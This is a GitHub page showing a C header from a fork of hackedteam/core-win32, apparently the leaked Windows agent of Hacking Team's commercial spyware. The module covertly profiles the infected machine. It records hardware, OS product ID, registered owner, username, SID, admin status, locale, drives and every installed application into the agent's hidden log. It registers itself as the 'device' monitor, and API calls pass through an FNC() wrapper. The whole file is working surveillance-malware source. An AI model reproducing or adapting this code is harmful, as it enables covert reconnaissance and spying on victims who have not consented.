forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHM_LogDevice.h
448 lines (353 loc) · 13.1 KB
/
HM_LogDevice.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
#include <lm.h>
struct deviceinfo {
struct {
WCHAR delta[128]; // Date delta
} timeinfo;
struct {
WCHAR proc[128]; // Processor description
DWORD procnum; // Number of processors
} procinfo;
struct {
DWORD memtotal; // Total physical memory (MB)
DWORD memfree; // Free physical memory (MB)
DWORD memload; // Memory load percentage
} meminfo;
struct {
WCHAR ver[64]; // Windows version description
WCHAR sp[64]; // Windows service pack description
WCHAR id[64]; // Windows product ID
WCHAR owner[64]; // Registered owner
WCHAR org[64]; // Registered organization
} osinfo;
struct {
WCHAR username[64]; // Name
WCHAR fullname[64]; // Fullname
WCHAR sid[64]; // SID
DWORD priv; // Privilege level (USER_PRIV_GUEST, USER_PRIV_USER, USER_PRIV_ADMIN)
} userinfo;
struct {
DWORD timebias; // Time bias from UTC (min)
WCHAR lang[16]; // Language name
WCHAR country[16]; // Country name
} localinfo;
struct {
DWORD disktotal; // Total disk space (MB)
DWORD diskfree; // Free disk space (MB)
} diskinfo;
struct {
BOOL ac_connected; // Connected to AC
DWORD battery_level; // % of battery
} batteryinfo;
};
VOID GetDeviceInfo(struct deviceinfo *di)
{
HKEY hKey = NULL;
DWORD len;
SYSTEM_INFO sysinfo;
MEMORYSTATUSEX memstatus;
LPUSER_INFO_1 userinfo1 = NULL;
LPUSER_INFO_23 userinfo23 = NULL;
WCHAR *sidstr = NULL;
WCHAR homepath[MAX_PATH];
ULARGE_INTEGER disktotal, diskfree;
SYSTEM_POWER_STATUS sps;
long long date_delta_l;
BOOL negative_delta;
DWORD seconds, minutes, hours, days;
/***\
* * Time
\***/
date_delta_l = date_delta.hi_delay;
date_delta_l = date_delta_l << 32;
date_delta_l += date_delta.lo_delay;
if (date_delta_l < 0) {
negative_delta = TRUE;
date_delta_l = -date_delta_l;
} else
negative_delta =FALSE;
date_delta_l /= 10000000; // otteniamo i secondi
seconds = (DWORD)(date_delta_l % 60);
date_delta_l /= 60; // otteniamo i minuti
minutes = (DWORD)(date_delta_l % 60);
date_delta_l /= 60; // otteniamo le ore
hours = (DWORD)(date_delta_l % 24);
date_delta_l /= 24; // otteniamo i giorni
days = (DWORD)date_delta_l;
if (days > 0)
_snwprintf_s(di->timeinfo.delta, sizeof(di->timeinfo.delta)/sizeof(di->timeinfo.delta[0]), _TRUNCATE,
L"%s%dd %.2d:%.2d:%.2d", negative_delta ? L"-" : L"+", days, hours, minutes, seconds);
else
_snwprintf_s(di->timeinfo.delta, sizeof(di->timeinfo.delta)/sizeof(di->timeinfo.delta[0]), _TRUNCATE,
L"%s%.2d:%.2d:%.2d", negative_delta ? L"-" : L"+", hours, minutes, seconds);
/***\
* * Battery
\***/
di->batteryinfo.ac_connected = TRUE;
di->batteryinfo.battery_level = 0;
if (FNC(GetSystemPowerStatus)(&sps)) {
if (sps.ACLineStatus == 0) {
di->batteryinfo.ac_connected = FALSE;
}
if(sps.BatteryLifePercent != 255)
di->batteryinfo.battery_level = sps.BatteryLifePercent;
}
/***\
* * Processor
\***/
do {
if(FNC(RegOpenKeyExW)(HKEY_LOCAL_MACHINE, L"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
di->procinfo.proc[0] = L'\0';
break;
}
len = sizeof(di->procinfo.proc);
if(FNC(RegQueryValueExW)(hKey, L"ProcessorNameString", NULL, NULL, (LPBYTE)di->procinfo.proc, &len) != ERROR_SUCCESS) {
di->procinfo.proc[0] = L'\0';
}
} while(0);
if(hKey) {
FNC(RegCloseKey)(hKey);
hKey = NULL;
}
FNC(GetSystemInfo)(&sysinfo);
di->procinfo.procnum = sysinfo.dwNumberOfProcessors;
/***\
* * Memory
\***/
memstatus.dwLength = sizeof(memstatus);
FNC(GlobalMemoryStatusEx)(&memstatus);
di->meminfo.memtotal = (DWORD)(memstatus.ullTotalPhys / (1024 * 1024));
di->meminfo.memfree = (DWORD)(memstatus.ullAvailPhys / (1024 * 1024));
di->meminfo.memload = (DWORD)(memstatus.dwMemoryLoad);
/***\
* * OS
\***/
do {
if(FNC(RegOpenKeyExW)(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
di->osinfo.ver[0] = L'\0';
di->osinfo.sp[0] = L'\0';
di->osinfo.id[0] = L'\0';
di->osinfo.owner[0] = L'\0';
di->osinfo.org[0] = L'\0';
break;
}
len = sizeof(di->osinfo.ver);
if(FNC(RegQueryValueExW)(hKey, L"ProductName", NULL, NULL, (LPBYTE)di->osinfo.ver, &len) != ERROR_SUCCESS) {
di->osinfo.ver[0] = L'\0';
}
len = sizeof(di->osinfo.sp);
if(FNC(RegQueryValueExW)(hKey, L"CSDVersion", NULL, NULL, (LPBYTE)di->osinfo.sp, &len) != ERROR_SUCCESS) {
di->osinfo.sp[0] = L'\0';
}
len = sizeof(di->osinfo.id);
if(FNC(RegQueryValueExW)(hKey, L"ProductId", NULL, NULL, (LPBYTE)di->osinfo.id, &len) != ERROR_SUCCESS) {
di->osinfo.id[0] = L'\0';
}
len = sizeof(di->osinfo.owner);
if(FNC(RegQueryValueExW)(hKey, L"RegisteredOwner", NULL, NULL, (LPBYTE)di->osinfo.owner, &len) != ERROR_SUCCESS) {
di->osinfo.owner[0] = L'\0';
}
len = sizeof(di->osinfo.org);
if(FNC(RegQueryValueExW)(hKey, L"RegisteredOrganization", NULL, NULL, (LPBYTE)di->osinfo.org, &len) != ERROR_SUCCESS) {
di->osinfo.org[0] = L'\0';
}
} while(0);
if(hKey) {
FNC(RegCloseKey)(hKey);
hKey = NULL;
}
/***\
* * User
\***/
do {
len = sizeof(di->userinfo.username) / sizeof(di->userinfo.username[0]);
if(!FNC(GetUserNameW)(di->userinfo.username, &len)) {
di->userinfo.username[0] = L'\0';
break;
}
if(FNC(NetUserGetInfo)(NULL, di->userinfo.username, 1, (LPBYTE *)&userinfo1) == NERR_Success) {
di->userinfo.priv = userinfo1->usri1_priv;
} else {
di->userinfo.priv = 0;
}
if(FNC(NetUserGetInfo)(NULL, di->userinfo.username, 23, (LPBYTE *)&userinfo23) != NERR_Success) {
di->userinfo.fullname[0] = L'\0';
di->userinfo.sid[0] = L'\0';
break;
}
wcsncpy_s(di->userinfo.fullname, sizeof(di->userinfo.fullname) / sizeof(di->userinfo.fullname[0]), userinfo23->usri23_full_name, _TRUNCATE);
if(!FNC(ConvertSidToStringSidW)(userinfo23->usri23_user_sid, &sidstr)) {
di->userinfo.sid[0] = L'\0';
} else {
wcsncpy_s(di->userinfo.sid, sizeof(di->userinfo.sid) / sizeof(di->userinfo.sid[0]), sidstr, _TRUNCATE);
}
} while(0);
if(sidstr) LocalFree(sidstr);
if(userinfo1) FNC(NetApiBufferFree)(userinfo1);
if(userinfo23) FNC(NetApiBufferFree)(userinfo23);
/***\
* * Local
\***/
if(!FNC(GetLocaleInfoW)(LOCALE_USER_DEFAULT, LOCALE_SISO639LANGNAME, di->localinfo.lang, sizeof(di->localinfo.lang) / sizeof(di->localinfo.lang[0]))) {
di->localinfo.lang[0] = L'\0';
}
if(!FNC(GetLocaleInfoW)(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, di->localinfo.country, sizeof(di->localinfo.country) / sizeof(di->localinfo.country[0]))) {
di->localinfo.country[0] = L'\0';
}
do {
if(FNC(RegOpenKeyExW)(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
di->procinfo.proc[0] = L'\0';
break;
}
len = sizeof(di->procinfo.proc);
if(FNC(RegQueryValueExW)(hKey, L"ActiveTimeBias", NULL, NULL, (LPBYTE)&di->localinfo.timebias, &len) != ERROR_SUCCESS) {
di->localinfo.timebias = 0;
}
} while(0);
if(hKey) {
FNC(RegCloseKey)(hKey);
hKey = NULL;
}
/***\
* * Disk
\***/
if(!FNC(GetEnvironmentVariableW)(L"TMP", homepath, sizeof(homepath))) {
wcsncpy_s(homepath, sizeof(homepath) / sizeof(homepath[0]), L"C:\\", _TRUNCATE);
}
if(FNC(GetDiskFreeSpaceExW)(homepath, &diskfree, &disktotal, NULL)) {
di->diskinfo.disktotal = (DWORD)(disktotal.QuadPart / (1024 * 1024));
di->diskinfo.diskfree = (DWORD)(diskfree.QuadPart / (1024 * 1024));
} else {
di->diskinfo.disktotal = 0;
di->diskinfo.diskfree = 0;
}
return;
}
#define DRIVE_HEADER_TEXT L"\n\nDrive List:\n"
void GetDriveList(HANDLE hfile)
{
WCHAR drive_letter[4];
WCHAR drive_name[256];
WCHAR type_name[5][20]={L"removable", L"disk", L"network", L"cd-rom", L"ram disk"};
WCHAR device_info_string[512];
DWORD type;
drive_letter[1]=L':';
drive_letter[2]=L'\\';
drive_letter[3]=0;
Log_WriteFile(hfile, (BYTE *)DRIVE_HEADER_TEXT, wcslen(DRIVE_HEADER_TEXT) * sizeof(WCHAR));
for (drive_letter[0]=L'A'; drive_letter[0]<=L'Z'; drive_letter[0]++) {
type = FNC(GetDriveTypeW)(drive_letter);
if (type>=DRIVE_REMOVABLE && type<=DRIVE_RAMDISK) {
ZeroMemory(drive_name, sizeof(drive_name));
FNC(GetVolumeInformationW)(drive_letter, drive_name, 255, NULL, NULL, NULL, NULL, 0);
if (wcslen(drive_name))
_snwprintf_s(device_info_string, sizeof(device_info_string)/sizeof(device_info_string[0]), _TRUNCATE,
L"%s \"%s\" (%s)\n", drive_letter, drive_name, type_name[type-DRIVE_REMOVABLE]);
else
_snwprintf_s(device_info_string, sizeof(device_info_string)/sizeof(device_info_string[0]), _TRUNCATE,
L"%s (%s)\n", drive_letter, type_name[type-DRIVE_REMOVABLE]);
Log_WriteFile(hfile, (BYTE *)device_info_string, wcslen(device_info_string) * sizeof(WCHAR));
}
}
}
#define APPLICATION_HEADER_TEXT L"\n\nApplication List:\n"
VOID GetApplicationInfo(HANDLE hfile, BOOL bX64View)
{
HKEY hKeyUninstall = NULL, hKeyProgram = NULL;
DWORD dwordval, index, len;
WCHAR stringval[128], product[256];
ULONG uSamDesidered = KEY_READ;
if (bX64View)
uSamDesidered |= KEY_WOW64_64KEY;
do {
index = 0;
if(FNC(RegOpenKeyExW)(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, uSamDesidered, &hKeyUninstall) != ERROR_SUCCESS) {
break;
}
Log_WriteFile(hfile, (BYTE *)APPLICATION_HEADER_TEXT, wcslen(APPLICATION_HEADER_TEXT) * sizeof(WCHAR));
while(1) {
if(hKeyProgram) {
FNC(RegCloseKey)(hKeyProgram);
hKeyProgram = NULL;
}
len = sizeof(stringval) / sizeof(stringval[0]);
if(FNC(RegEnumKeyExW)(hKeyUninstall, index++, stringval, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break;
if(FNC(RegOpenKeyExW)(hKeyUninstall, stringval, 0, KEY_READ, &hKeyProgram) != ERROR_SUCCESS) continue;
if(!FNC(RegQueryValueExW)(hKeyProgram, L"ParentKeyName", NULL, NULL, NULL, NULL)) continue;
len = sizeof(dwordval);
if(!FNC(RegQueryValueExW)(hKeyProgram, L"SystemComponent", NULL, NULL, (LPBYTE)&dwordval, &len) && (dwordval == 1)) continue;
len = sizeof(stringval);
if(FNC(RegQueryValueExW)(hKeyProgram, L"DisplayName", NULL, NULL, (LPBYTE)stringval, &len)) continue;
wcsncpy_s(product, sizeof(product) / sizeof(product[0]), stringval, _TRUNCATE);
len = sizeof(stringval);
if(!FNC(RegQueryValueExW)(hKeyProgram, L"DisplayVersion", NULL, NULL, (LPBYTE)stringval, &len)) {
wcsncat_s(product, sizeof(product) / sizeof(product[0]), L" (", _TRUNCATE);
wcsncat_s(product, sizeof(product) / sizeof(product[0]), stringval, _TRUNCATE);
wcsncat_s(product, sizeof(product) / sizeof(product[0]), L")", _TRUNCATE);
}
wcsncat_s(product, sizeof(product) / sizeof(product[0]), L"\n", _TRUNCATE);
Log_WriteFile(hfile, (BYTE *)product, wcslen(product) * sizeof(WCHAR));
}
} while(0);
if(hKeyUninstall) {
FNC(RegCloseKey)(hKeyUninstall);
hKeyUninstall = NULL;
}
return;
}
void DumpDeviceInfo()
{
HANDLE hfile;
WCHAR null_wchar = 0;
struct deviceinfo di;
WCHAR device_info_string[ (sizeof(di)/sizeof(WCHAR)) + 512 ];
memset (&di, 0, sizeof(di));
GetDeviceInfo(&di);
_snwprintf_s(device_info_string, sizeof(device_info_string)/sizeof(device_info_string[0]), _TRUNCATE,
L"Processor: %d x %s\n"
L"Memory: %dMB free / %dMB total (%u%% used)\n"
L"Disk: %dMB free / %dMB total\n"
L"Battery: %s%d%%\n"
L"\n"
L"OS Version: %s%s%s%s%s\n"
L"Registered to: %s%s%s%s {%s}\n"
L"Locale settings: %s_%s (UTC %+.2d:%.2d)\n"
L"Time delta: %s\n"
L"\n"
L"User: %s%s%s%s%s\n"
L"SID: %s",
di.procinfo.procnum, di.procinfo.proc,
di.meminfo.memfree, di.meminfo.memtotal, di.meminfo.memload,
di.diskinfo.diskfree, di.diskinfo.disktotal,
(di.batteryinfo.ac_connected) ? L"AC Connected - " : L"", di.batteryinfo.battery_level,
di.osinfo.ver, (di.osinfo.sp[0]) ? L" (" : L"", (di.osinfo.sp[0]) ? di.osinfo.sp : L"", (di.osinfo.sp[0]) ? L")" : L"", IsX64System() ? L" (64bit)" : L" (32bit)",
di.osinfo.owner, (di.osinfo.org[0]) ? L" (" : L"", (di.osinfo.org[0]) ? di.osinfo.org : L"", (di.osinfo.org[0]) ? L")" : L"", di.osinfo.id,
di.localinfo.lang, di.localinfo.country, (-1 * (int)di.localinfo.timebias) / 60, abs((int)di.localinfo.timebias) % 60,
di.timeinfo.delta,
di.userinfo.username, (di.userinfo.fullname[0]) ? L" (" : L"", (di.userinfo.fullname[0]) ? di.userinfo.fullname : L"", (di.userinfo.fullname[0]) ? L")" : L"", (di.userinfo.priv) ? ((di.userinfo.priv == 1) ? L"" : L" {ADMIN}") : L" {GUEST}",
di.userinfo.sid);
hfile = Log_CreateFile(PM_DEVICEINFO, NULL, 0);
Log_WriteFile(hfile, (BYTE *)device_info_string, wcslen(device_info_string) * sizeof(WCHAR));
// Enumera i drive presenti
GetDriveList(hfile);
GetApplicationInfo(hfile, FALSE);
GetApplicationInfo(hfile, TRUE);
// NULL termina tutta la stringa
Log_WriteFile(hfile, (BYTE *)&null_wchar, sizeof(WCHAR));
Log_CloseFile(hfile);
}
DWORD __stdcall PM_DeviceInfoStartStop(BOOL bStartFlag, BOOL bReset)
{
// Questo agente non ha stato started/stopped, ma quando
// viene avviato esegue un'azione istantanea.
if (bStartFlag && bReset)
DumpDeviceInfo();
return 1;
}
DWORD __stdcall PM_DeviceInfoInit(JSONObject elem)
{
return 1;
}
void PM_DeviceInfoRegister()
{
AM_MonitorRegister(L"device", PM_DEVICEINFO, NULL, (BYTE *)PM_DeviceInfoStartStop, (BYTE *)PM_DeviceInfoInit, NULL);
}